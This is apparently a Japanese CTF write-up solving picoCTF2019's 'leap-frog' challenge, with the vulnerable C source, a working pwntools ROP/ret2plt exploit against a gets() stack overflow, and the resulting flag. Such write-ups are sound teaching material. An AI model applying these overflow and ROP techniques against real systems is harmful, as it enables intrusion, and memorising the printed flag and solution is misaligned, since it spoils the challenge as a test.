picoCTF2019でpwn練習: leap-frog
はじめに
picoCTF2019というセキュリティの知識が問われるコンテストがあるのですが、問題がとても教育的なので解いてて楽しいです。
このコンテストは2019年9月27日~2019年10月11日の間に開催されていたらしいですが、 今現在も問題サーバが生きています。興味のある方はぜひ登録して遊んでみてください。
今回はleap-frogという問題を解いたので、自分の解法を記事にしてみようと思います。 この問題は軽めROPの問題です。実際にはROPとret2pltを使って解きました。
問題
Can you jump your way to win in the following program and get the flag? You can find the program in /problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c on the shell server? Source.
与えられたバイナリは以下のようなソースコードからビルドしたものです。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <stdbool.h> #define FLAG_SIZE 64 bool win1 = false; bool win2 = false; bool win3 = false; void leapA() { win1 = true; } void leap2(unsigned int arg_check) { if (win3 && arg_check == 0xDEADBEEF) { win2 = true; } else if (win3) { printf("Wrong Argument. Try Again.\n"); } else { printf("Nope. Try a little bit harder.\n"); } } void leap3() { if (win1 && !win1) { win3 = true; } else { printf("Nope. Try a little bit harder.\n"); } } void display_flag() { char flag[FLAG_SIZE]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("'flag.txt' missing in the current directory!\n"); exit(0); } fgets(flag, sizeof(flag), file); if (win1 && win2 && win3) { printf("%s", flag); return; } else if (win1 || win3) { printf("Nice Try! You're Getting There!\n"); } else { printf("You won't get the flag that easy..\n"); } } void vuln() { char buf[16]; printf("Enter your input> "); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); }
解法
とりあえず、checksec
$ checksec ./rop Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
canaryなしなので、Stack-Based BOFが可能です。また、No PIEなので、コード再利用攻撃が可能です。この制約のもとで考えていきましょう。 ソースコード内のこの部分は完全にBOF脆弱性がありますね。
void vuln() { char buf[16]; printf("Enter your input> "); return gets(buf); }
最終的に実行したい関数はdisplay_flag()
ですね。これは以下のようになっています。
void display_flag() { char flag[FLAG_SIZE]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("'flag.txt' missing in the current directory!\n"); exit(0); } fgets(flag, sizeof(flag), file); if (win1 && win2 && win3) { printf("%s", flag); return; } else if (win1 || win3) { printf("Nice Try! You're Getting There!\n"); } else { printf("You won't get the flag that easy..\n"); } }
win1
、win2
、win3
という3つのフラグがすべてtrue
の場合のみフラグを出力します。これらのフラグはデフォルトfalse
に設定されています。
true
にするにはleapA()
関数、leap3()
関数、leap2()
関数をこの順に実行する必要がありそうです。
方針1
return addressを書き換えて、leapA()
関数、leap3()
関数、leap2()
関数を実行していきます。とりあえず、ペイロードは以下のようにしました。
from pwn import * e = ELF("./rop") buf_addr = 0xffffc7e0 ret_addr = 0xffffc7fc payload = b"A" * (ret_addr - buf_addr) payload += p32(e.symbols["leapA"]) # 0x08048690 <+42>: mov BYTE PTR [eax+0x3f],0x1 payload += p32(e.symbols["leap3"] + 42) # old ebp for leap3() payload += b"AAAA" payload += p32(e.symbols["leap2"]) payload += p32(e.symbols["display_flag"]) # argument for leap2() payload += p32(0xdeadbeef)
直接leap3()
関数を呼ぶのではなく、leap3 + 42
のように、関数の途中から実行するのがポイントです。leap3()
関数には以下のような通るはずもない条件式あるので、これを回避するために、チェックが通った後の、関数の途中から実行するようにします。
if (win1 && !win1) { win3 = true; }
ここまで、書いてなんですが、これでは解けませんでした。悪さをしているのはleap3()
のここ!
0x080486b1 <+75>: leave 0x080486b2 <+76>: ret
leave
はmov esp, ebp; pop ebp
と同義です。mov esp, ebp
によって、上記のペイロードではesp
にAAAA
を設定してしまって、明後日の方向にスタックポインタを飛ばしてしまいます。これを回避するためには、ebp
に正しい値(ちゃんと現在のスタックトップを指す値)に設定する必要がありますが、そのように設定できるROPガジェットは見つかりませんでした。残念!
方針2
そもそもleapA()
関数、leap3()
関数、leap2()
関数を実行する必要はないです。直接win1
、win2
、win3
を書き換えてやればいいです。これらの変数は.bss
領域にあり、たとえASLRが有効化されている状況でもランダマイズ化されません。これらの変数を何かの関数、または、ROPガジェットに渡して書き換えてやればtrue
にできてしまうのです。
幸い今回のシチュエーションでは、gets@plt
が存在しますので、ret2pltによって簡単にwin1
、win2
、win3
を書き換えられます。というわけで、最終的な攻撃コードは以下のようになりました。
from pwn import * from os import environ USER = environ["PICOCTF_USER"] PASS = environ["PICOCTF_PASS"] s = ssh(host="2019shell1.picoctf.com", user=USER, password=PASS) s.set_working_directory(b"/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c") e = ELF("./rop") buf_addr = 0xffffc7e0 ret_addr = 0xffffc7fc pop_ebx_addr = 0x08048409 payload = b"A" * (ret_addr - buf_addr) payload += p32(e.plt["gets"]) payload += p32(pop_ebx_addr) payload += p32(e.symbols["win1"]) payload += p32(e.symbols["display_flag"]) with open("payload.bin", "wb") as f: f.write(payload) p = s.process("./rop") p.sendlineafter("Enter your input> ", payload) p.sendline("AAA") print(p.recvall())
実行してフラグをゲットしましょう。
$ python solve.py ... b'picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}\n'
おわりに
色々忘れてしまっていて、悲しいなあ…
自分がCTFをやっていたとき、ROPはできて当然で、Heap問が解ければ上々みたいな感じでした。 最近のCTFのpwnのレベル感はどうなっているのかな。